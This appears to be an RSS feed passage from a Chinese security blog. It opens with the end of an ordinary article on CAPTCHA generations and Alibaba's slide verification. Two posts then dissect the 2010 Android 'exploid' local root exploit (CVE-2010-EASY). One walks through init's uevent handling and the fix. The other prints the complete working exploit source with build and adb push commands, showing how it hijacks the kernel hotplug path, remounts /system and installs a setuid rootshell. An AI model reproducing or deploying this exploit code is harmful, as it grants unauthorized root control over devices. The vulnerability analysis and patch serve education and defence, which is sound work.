&lt;/h4&gt;&lt;p&gt;这一代验证码是即是我们常见的图形验证码、语音验证码，基于机器难以处理复杂的计算机视觉及语音识别问题，而人类却可以轻松的识别来区分人类及机器。这一代验证码&lt;strong&gt;初步利用了人类知识容易解答，而计算机难以解答的机制进行人机判断&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/captcha-past-and-present/traditional-captcha.png"
	width="630"
	height="150"
	loading="lazy"
	
		alt="1456845071523"
	
 
	
		class="gallery-image" 
		data-flex-grow="420"
		data-flex-basis="1008px"
	
&gt;&lt;/p&gt;
&lt;h4 id="第二代创新验证码"&gt;第二代：创新验证码
&lt;/h4&gt;&lt;p&gt;第二代验证码是基于第一代验证码的核心思想（通过人类知识可以解答，而计算机难以解答的问题进行人机判断）而产生的创新的交互优化型验证码。第二代验证码基于第一代验证码的核心原理－－&lt;strong&gt;“人机之间知识的差异”，拓展出大量创新型验证码&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;如12306的验证码也是对于传统验证码的一种创新：&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/captcha-past-and-present/12306-captcha.png"
	width="780"
	height="422"
	loading="lazy"
	
		alt="14568451341958"
	
 
	
		class="gallery-image" 
		data-flex-grow="184"
		data-flex-basis="443px"
	
&gt;&lt;/p&gt;
&lt;h4 id="第三代无知识型验证码"&gt;第三代：无知识型验证码
&lt;/h4&gt;&lt;p&gt;第三代验证码最大的特点是&lt;strong&gt;不再基于知识进行人机判断&lt;/strong&gt;，而是基于&lt;strong&gt;人类固有的生物特征以及操作的环境信息综合决策&lt;/strong&gt;，来判断是人类还是机器。无知识型验证码最大特点即&lt;strong&gt;无需人类思考&lt;/strong&gt;，从而不会打断用户操作，进而提供更好的用户体验。&lt;/p&gt;
&lt;p&gt;如Google的新版ReCaptcha：&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/captcha-past-and-present/google-recaptcha.png"
	width="816"
	height="236"
	loading="lazy"
	
		alt="14568453665723"
	
 
	
		class="gallery-image" 
		data-flex-grow="345"
		data-flex-basis="829px"
	
&gt;&lt;/p&gt;
&lt;p&gt;阿里巴巴的滑动验证：:&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/captcha-past-and-present/alibaba-slide-captcha.png"
	width="828"
	height="274"
	loading="lazy"
	
		alt="1456883233756"
	
 
	
		class="gallery-image" 
		data-flex-grow="302"
		data-flex-basis="725px"
	
&gt;&lt;/p&gt;
&lt;h3 id="0x2-无知识型验证码的原理"&gt;0x2 无知识型验证码的原理
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;：在Web前端周期性的对Javascript代码进行混淆和并更新加密算法，&lt;strong&gt;将不可信的Web前端打造成可信的客户端&lt;/strong&gt;。在用户进行滑动操作时，基于可信的客户端采集用户操作的行为信息以及环境信息，将其加密后提交给后端的风控引擎；&lt;/p&gt;
&lt;p&gt;Web前端因为代码都是明文形式的脚本语言，服务端想要从客户端获取可信的数据一直面临“源码面前，了无秘密”的困扰。给一个前端工程师充足的时间，似乎Web前端真的是了无秘密，如下图：&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/captcha-past-and-present/web-frontend-security.png"
	width="1416"
	height="512"
	loading="lazy"
	
		alt="14569332255306"
	
 
	
		class="gallery-image" 
		data-flex-grow="276"
		data-flex-basis="663px"
	
&gt;&lt;/p&gt;
&lt;p&gt;而随着攻防对抗的持续，安全的补锅匠们总能找到猥琐的方法来进行防御。Web前端虽然没有客户端防止逆向和调试的安全强度，但是却具备客户端所不具有的hotpatch能力。&lt;/p&gt;
&lt;p&gt;参考Map-Reduce的原理，单台机器性能不行，把任务分派到多台机器并发执行。如果单份Javascript混淆的强度不可行，那么周期性的对Javascript代码自动混淆。即便攻击者能够短时间的对Web前端进行逆向，但逆向出来的功能短期之后就会在服务端失效，那么也能极大的消耗攻击者的成本。&lt;/p&gt;
&lt;p&gt;更可怕的是丧心病狂的Google基于Javascript完全的实现一套虚拟机，核心代码使用字节码实现。周期性的对字节码格式更新逆向的成本成几何级数递增。&lt;/p&gt;
&lt;p&gt;如果代码逻辑不更新，仅仅重复的混淆原有逻辑，那么仍然没有意义。而对于一个Web的验证码应用，核心功能只有两部分：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;事件采集模块，采集用户的行为信息，此部分逻辑简单，也无法自动化更新代码逻辑；&lt;/li&gt;
&lt;li&gt;行为数据加密模块，该部分的核心是加密算法，似乎代码逻辑自动化更新变化有足够空间。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;为了保障前端的可信，需要对加密算法进行自动化更新，需要一个巨大的对称加密算法可选集合。而所有对称加密算法都基于Feistel分组密码结构，基于Feistel分组密码结构可以派生出无数的对称加密算法。&lt;/p&gt;
&lt;p&gt;如下图，Festel分组结构的可逆性不要求加密的核心函数F可逆，故可以自动的生成任意的F函数进而派生出无数对称加密算法。&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/captcha-past-and-present/feistel-cipher-structure.png"
	width="1022"
	height="1494"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="68"
		data-flex-basis="164px"
	
&gt;&lt;/p&gt;
&lt;p&gt;基于自动化的代码更新及混淆机制从而保障整个Web代码对抗逆向分析和调试的强度，进而将不可信的Web前端打造成可信的客户端。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;：风控引擎会基于用户操作的行为特征、用户环境信息、用户对应的设备指纹及其设备信誉综合进行决策，判断是否需要对该次操作进行二次判断或者是直接阻断。&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/captcha-past-and-present/risk-engine-decision.png"
	width="1272"
	height="710"
	loading="lazy"
	
		alt="14569353485868"
	
 
	
		class="gallery-image" 
		data-flex-grow="179"
		data-flex-basis="429px"
	
&gt;&lt;/p&gt;
&lt;h3 id="0x3-无知识型验证码的优点"&gt;0x3 无知识型验证码的优点
&lt;/h3&gt;&lt;p&gt;无知识型验证码有三大核心优点，分别是用户体验，风险识别，风险拦截。&lt;/p&gt;
&lt;h4 id="用户体验"&gt;用户体验：
&lt;/h4&gt;&lt;p&gt;无知识型验证码针对大多数的用户能够无需思考，直接通过。不存在业务和流程的打断，体验流畅，对用户体验极大优化。&lt;/p&gt;
&lt;h4 id="风险识别"&gt;风险识别：
&lt;/h4&gt;&lt;p&gt;因为随着机器学习的发展让机器掌握人类具有的知识也不再是难点，无知识型验证码不再基于知识来挑战机器，而是基于人类的固有行为特征以及操作的环境信息综合进行风控决策，攻击者难以批量的模拟出可以欺骗风控引擎的正常人类的的操作。&lt;/p&gt;
&lt;h4 id="风险拦截"&gt;风险拦截：
&lt;/h4&gt;&lt;p&gt;普通的验证码基于知识对机器发起挑战，无法做到对机器进行阻断。因为知识的挑战还需要兼顾人类的体验，机器通过的概率只能做到无限的降低而无法消除。而无知识型验证码基于后端的风控决策，可以对不同风险的操作提出更高难度的验证码乃至阻断，有更大空间对风险进行消除和拦截。&lt;/p&gt;
&lt;h3 id="0x4-总结"&gt;0x4 总结
&lt;/h3&gt;&lt;p&gt;目前阿里巴巴提供的滑动验证产品，目前对外提供免费试用，欢迎申请试用&lt;a class="link" href="https://www.aliyun.com/product/antifraud" target="_blank" rel="noopener"
 &gt;滑动验证&lt;/a&gt;，Discuz插件&lt;a class="link" href="http://addon.discuz.com/?@oculus.plugin" target="_blank" rel="noopener"
 &gt;安装链接&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;最后，希望滑动验证产品能够建设更简单和安全的互联网: )&lt;/p&gt;</description></item><item><title>结合init源码剖析Android root提权漏洞（CVE-2010-EASY）</title><link>/posts/android-root-init-source-analysis-cve-2010-easy/</link><pubDate>Tue, 26 Jul 2011 21:12:00 +0800</pubDate><guid>/posts/android-root-init-source-analysis-cve-2010-easy/</guid><description>&lt;p&gt;这篇文章是上一篇博客的后续分析，主要介绍向init进程发送热拔插信息后init进程的处理流程。&lt;/p&gt;
&lt;p&gt;首先我们来了解一个数据结构，uevent，如下:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;struct uevent {                                                                                
    const char *action;                                                                        
    const char *path;                                                                          
    const char *subsystem;                                                                     
    const char *firmware;                                                                      
    int major;                                                                                 
    int minor;                                                                                 
};  
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt; &lt;br&gt;
内核收到的信息如下:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ACTION=add
DEVPATH=/../data/local/tmp
SUBSYSTEM=firmware
FIRMWARE=../../../data/local/tmp/hotplug
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt; 通过如下函数parse_event进行解析:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;static void parse_event(const char *msg, struct uevent *uevent) 
{
 
    while(*msg) {                                                                              
        if(!strncmp(msg, &amp;#34;ACTION=&amp;#34;, 7)) {                                                      
            msg += 7;                                                                          
            uevent-&amp;gt;action = msg;                                                              
        } else if(!strncmp(msg, &amp;#34;DEVPATH=&amp;#34;, 8)) {                                              
            msg += 8;                                                                          
            uevent-&amp;gt;path = msg;                                                                
        } else if(!strncmp(msg, &amp;#34;SUBSYSTEM=&amp;#34;, 10)) {                                           
            msg += 10;                                                                         
            uevent-&amp;gt;subsystem = msg;                                                           
        } else if(!strncmp(msg, &amp;#34;FIRMWARE=&amp;#34;, 9)) {                                             
            msg += 9;                                                                          
            uevent-&amp;gt;firmware = msg;                                                            
        } else if(!strncmp(msg, &amp;#34;MAJOR=&amp;#34;, 6)) {                                                
            msg += 6;                                                                          
            uevent-&amp;gt;major = atoi(msg);                                                         
        } else if(!strncmp(msg, &amp;#34;MINOR=&amp;#34;, 6)) {                                                
            msg += 6;                                                                          
            uevent-&amp;gt;minor = atoi(msg);                                                         
        }
         while(*msg++)；
    }           
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;经过解析之后，uevent的结构为:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Action=&amp;#34;add&amp;#34;
path=&amp;#34;/../data/local/tmp&amp;#34;
subsystem=&amp;#34;firmware&amp;#34;
firmware=&amp;#34;../../../data/local/tmp/hotplug&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt; &lt;br&gt;
之后来到处理firmware的核心函数:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;static void process_firmware_event(struct uevent *uevent)
{
    l = asprintf(&amp;amp;root, SYSFS_PREFIX&amp;#34;%s/&amp;#34;, uevent-&amp;gt;path);
    //root为/sys/../data/local/tmp/=/data/local/tmp/
    
    l = asprintf(&amp;amp;loading, &amp;#34;%sloading&amp;#34;, root);
    //loading为/data/local/tmp/loading
    
    l = asprintf(&amp;amp;data, &amp;#34;%sdata&amp;#34;, root);
    //data为/data/local/tmp/data   其内容为指向/proc/sys/kernel/hotplug的符号链接
    
    l = asprintf(&amp;amp;file, FIRMWARE_DIR&amp;#34;/%s&amp;#34;, uevent-&amp;gt;firmware);
    //file为/etc/firmware/../../../data/local/tmp/hotplug=/data/local/tmp/hotplug
    
    loading_fd = open(loading, O_WRONLY);
    
    data_fd = open(data, O_WRONLY); 
    
    fw_fd = open(file, O_RDONLY);
    
    load_firmware(fw_fd, loading_fd, data_fd)；
}
 
最后来到load_firmware函数,把hotplug中的数据写到/proc/sys/kernel/hotplug中 其内容变为/data/local/tmp/exploid

static int load_firmware(int fw_fd, int loading_fd, int data_fd)
{
    while (len_to_copy &amp;gt; 0) {
        char buf[PAGE_SIZE];
 
 
        nr = read(fw_fd, buf, sizeof(buf));
                                                                         
        len_to_copy -= nr;                                                                     
        while (nr &amp;gt; 0) {                                                                       
                                                                                               
            nw = write(data_fd, buf + nw, nr);                                                 
 
            nr -= nw;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt; &lt;br&gt;
最后/proc/sys/kernel/hotplug中写入了我们的恶意程序，只要再次受到如wifi打开、usb插入等热拔插信息，内核就会以root权限加载我们的程序再一次执行，从而达到提权的目的。&lt;/p&gt;
&lt;h2 id="漏洞修复"&gt;漏洞修复
&lt;/h2&gt;&lt;p&gt;修复方法很简单，只需要给system/core/init/devices.c文件打个补丁。&lt;/p&gt;
&lt;p&gt;具体内容及注释如下:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;   static int open_uevent_socket(void)                                                            
{ 
+    setsockopt(s, SOL_SOCKET, SO_PASSCRED, &amp;amp;on, sizeof(on));
//在open_uevent_socket对套接字增加一个选项 SO_PASSCRED，这样可以让套接字增加一个认证，让接收者可以知道发送者的uid和gid :-)
 
}
 
void handle_device_fd(int fd)
{
+    for(;;) {
+        char msg[UEVENT_MSG_LEN+2];
+        char cred_msg[CMSG_SPACE(sizeof(struct ucred))];
+        struct iovec iov = {msg, sizeof(msg)};
+        struct sockaddr_nl snl;
+        struct msghdr hdr = {&amp;amp;snl, sizeof(snl), &amp;amp;iov, 1, cred_msg, sizeof(cred_msg), 0};
+
+        ssize_t n = recvmsg(fd, &amp;amp;hdr, 0);
+        if (n &amp;lt;= 0) {
+            break;
+        }
 
-    while((n = recv(fd, msg, UEVENT_MSG_LEN, 0)) &amp;gt; 0) {
-        struct uevent uevent;
+        if ((snl.nl_groups != 1) || (snl.nl_pid != 0)) {
+            /* 如果不是内核的多播信息则抛弃 */
+            continue;
+        }
+
+        struct cmsghdr * cmsg = CMSG_FIRSTHDR(&amp;amp;hdr);
+        if (cmsg == NULL || cmsg-&amp;gt;cmsg_type != SCM_CREDENTIALS) {
+            /* 如果发送者的认证没有则抛弃 */
+            continue;
+        }
+
+        struct ucred * cred = (struct ucred *)CMSG_DATA(cmsg);
+        if (cred-&amp;gt;uid != 0) {
+            /* 消息不是来自于root用户则抛弃 */
+            continue;
+        }
}
}
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Android root源代码剖析(基于CVE-2010-EASY)</title><link>/posts/android-root-exploit-cve-2010-easy/</link><pubDate>Fri, 22 Jul 2011 21:32:00 +0800</pubDate><guid>/posts/android-root-exploit-cve-2010-easy/</guid><description>&lt;p&gt;linux系统由udev提供系统设备的管理，如提供热拔插usb设备等等。而Android把udev的工作移交给init进程。而linux中版本号小于1.4.1的udev不会检查是由内核还是用户发送热拔插信息。因此用户可以发送恶意的信息让内核加载定义的恶意程序从而取得root权限。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过在 &lt;a class="link" href="http://www.codesourcery.com/sgpp/lite/arm/portal/release1803" target="_blank" rel="noopener"
 &gt;http://www.codesourcery.com/sgpp/lite/arm/portal/release1803&lt;/a&gt; 下载编译工具&lt;/li&gt;
&lt;li&gt;通过arm-none-eabi-gcc exploid.c -static -o exploid 编译&lt;/li&gt;
&lt;li&gt;adb push exploid /data/local/tmp 目录中执行即可root&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;提权之后rootshell是一个权限为04711的属于root的可执行程序，普通用户也可以运行该程序，由于S位置位，当普通用户执行该程序时有效用户ID为root，从而可以运行root用户才能执行的程序和操作，从而提权成功。&lt;br&gt;
 &lt;br&gt;
源码剖析如下(程序执行的顺序已注释)：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;linux/netlink.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;sys/mount.h&amp;gt;
 
int main(int argc, char **argv, char **env)
{
        char buf[512], path[512];
        int ofd;
        struct sockaddr_nl snl;
        struct iovec iov = {buf, sizeof(buf)};
        //(1)初始化要发送的数据，通过NET_LINK机制（参见man 手册，可以与内核实现近似于套接字的通信方式）发送
        struct msghdr msg = {&amp;amp;snl, sizeof(snl), &amp;amp;iov, 1, NULL, 0, 0};
        int sock;
        char *basedir = NULL;
 
 
        /* I hope there is no LD_ bug in androids rtld :) */
        //(11)root后执行rootshell则执行该步，直接创建一个有root权限的shell
        if (geteuid() == 0 &amp;amp;&amp;amp; getuid() != 0)
                rootshell(env);
 
    //(2)获取程序的路径，为/data/local/tmp/exploid
        if (readlink(&amp;#34;/proc/self/exe&amp;#34;, path, sizeof(path)) &amp;lt; 0)
                die(&amp;#34;[-] readlink&amp;#34;);
 
        if (geteuid() == 0) {
        //(9)有内核加载热拔插固件时再次执行该应用，此时有效id为为0，有root权限
                clear_hotplug();
                /* remount /system rw */
                
                //(10)拷贝自己到/system/bin/目录下成为rootshell，并改变sh的文件属性
                remount_system(&amp;#34;/system&amp;#34;);
                if (copy(path, &amp;#34;/system/bin/rootshell&amp;#34;) != 0)
                        chmod(&amp;#34;/system/bin/sh&amp;#34;, 04755);
                else
                        chmod(&amp;#34;/system/bin/rootshell&amp;#34;, 04711);
                for (;;)
                        sleep(3);
        }
 
        printf(&amp;#34;[*] Android local root exploid (C) The Android Exploid Crew\n&amp;#34;);
    //(3)改变工作目录，没有root权限，只可以在少数目录执行
        basedir = &amp;#34;/sqlite_stmt_journals&amp;#34;;
        if (chdir(basedir) &amp;lt; 0) {
                basedir = &amp;#34;/data/local/tmp&amp;#34;;
                if (chdir(basedir) &amp;lt; 0)
                        basedir = strdup(getcwd(buf, sizeof(buf)));
        }
        printf(&amp;#34;[+] Using basedir=%s, path=%s\n&amp;#34;, basedir, path);
        printf(&amp;#34;[+] opening NETLINK_KOBJECT_UEVENT socket\n&amp;#34;);
 
        memset(&amp;amp;snl, 0, sizeof(snl));
        snl.nl_pid = 1;
        snl.nl_family = AF_NETLINK;
        
    //(4)构建一个NETLINK的套接字
        if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) &amp;lt; 0)
                die(&amp;#34;[-] socket&amp;#34;);
 
    //(5)创建要热拔插的文件，其中hotplug文件中存储的为/data/local/tmp/exploid
        close(creat(&amp;#34;loading&amp;#34;, 0666));
        if ((ofd = creat(&amp;#34;hotplug&amp;#34;, 0644)) &amp;lt; 0)
                die(&amp;#34;[-] creat&amp;#34;);
        if (write(ofd, path , strlen(path)) &amp;lt; 0)
                die(&amp;#34;[-] write&amp;#34;);
        close(ofd);
        
        //(6)建立一个data文件，为指向系统的hotplug的符号链接
        symlink(&amp;#34;/proc/sys/kernel/hotplug&amp;#34;, &amp;#34;data&amp;#34;);
        
        //(7)构建发送给内核的信息，内容为进行热拔插，固件位置在/data/local/tmp/hotplug
        snprintf(buf, sizeof(buf), &amp;#34;ACTION=add%cDEVPATH=/..%s%c&amp;#34;
                 &amp;#34;SUBSYSTEM=firmware%c&amp;#34;
                 &amp;#34;FIRMWARE=../../..%s/hotplug%c&amp;#34;, 0, basedir, 0, 0, basedir, 0);
        printf(&amp;#34;[+] sending add message ...\n&amp;#34;);
        
        //(8)发送该信息
        if (sendmsg(sock, &amp;amp;msg, 0) &amp;lt; 0)
                die(&amp;#34;[-] sendmsg&amp;#34;);
        close(sock);
        printf(&amp;#34;[*] Try to invoke hotplug now, clicking at the wireless\n&amp;#34;
               &amp;#34;[*] settings, plugin USB key etc.\n&amp;#34;
               &amp;#34;[*] You succeeded if you find /system/bin/rootshell.\n&amp;#34;
               &amp;#34;[*] GUI might hang/restart meanwhile so be patient.\n&amp;#34;);
        sleep(3);
        return 0;
}
 
void die(const char *msg)
{
        perror(msg);
        exit(errno);
}
 
 
int copy(const char *from, const char *to)
{
        int fd1, fd2;
        char buf[0x1000];
        int r = 0;
 
        if ((fd1 = open(from, O_RDONLY)) &amp;lt; 0)
                return -1;
        if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) &amp;lt; 0) {
                close(fd1);
                return -1;
        }
 
        for (;;) {
                r = read(fd1, buf, sizeof(buf));
                if (r &amp;lt;= 0)
                        break;
                if (write(fd2, buf, r) != r)
                        break;
        }
 
        close(fd1);
        close(fd2);
        sync(); sync();
        return r;
}
 
 
void clear_hotplug()
{
        int ofd = open(&amp;#34;/proc/sys/kernel/hotplug&amp;#34;, O_WRONLY|O_TRUNC);
        write(ofd, &amp;#34;&amp;#34;, 1);
        close(ofd);
}
 
 
void rootshell(char **env)
{
        char *sh[] = {&amp;#34;/system/bin/sh&amp;#34;, 0};
 
        // AID_SHELL
        if (getuid() != 2000)
                die(&amp;#34;[-] Permission denied.&amp;#34;);
 
        setuid(0); setgid(0);
        execve(*sh, sh, env);
        die(&amp;#34;[-] execve&amp;#34;);
}
 
 
int remount_system(const char *mntpoint)
{
        FILE *f = NULL;
        int found = 0;
        char buf[1024], *dev = NULL, *fstype = NULL;
 
        if ((f = fopen(&amp;#34;/proc/mounts&amp;#34;, &amp;#34;r&amp;#34;)) == NULL)
                return -1;
 
        memset(buf, 0, sizeof(buf));
        for (;!feof(f);) {
                if (fgets(buf, sizeof(buf), f) == NULL)
                        break;
                if (strstr(buf, mntpoint)) {
                        found = 1;
                        break;
                }
        }
        fclose(f);
        if (!found)
                return -1;
        if ((dev = strtok(buf, &amp;#34; \t&amp;#34;)) == NULL)
                return -1;
        if (strtok(NULL, &amp;#34; \t&amp;#34;) == NULL)
                return -1;
        if ((fstype = strtok(NULL, &amp;#34; \t&amp;#34;)) == NULL)
                return -1;
        return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}
&lt;/code&gt;&lt;/pre&gt;</description></item></channel></rss>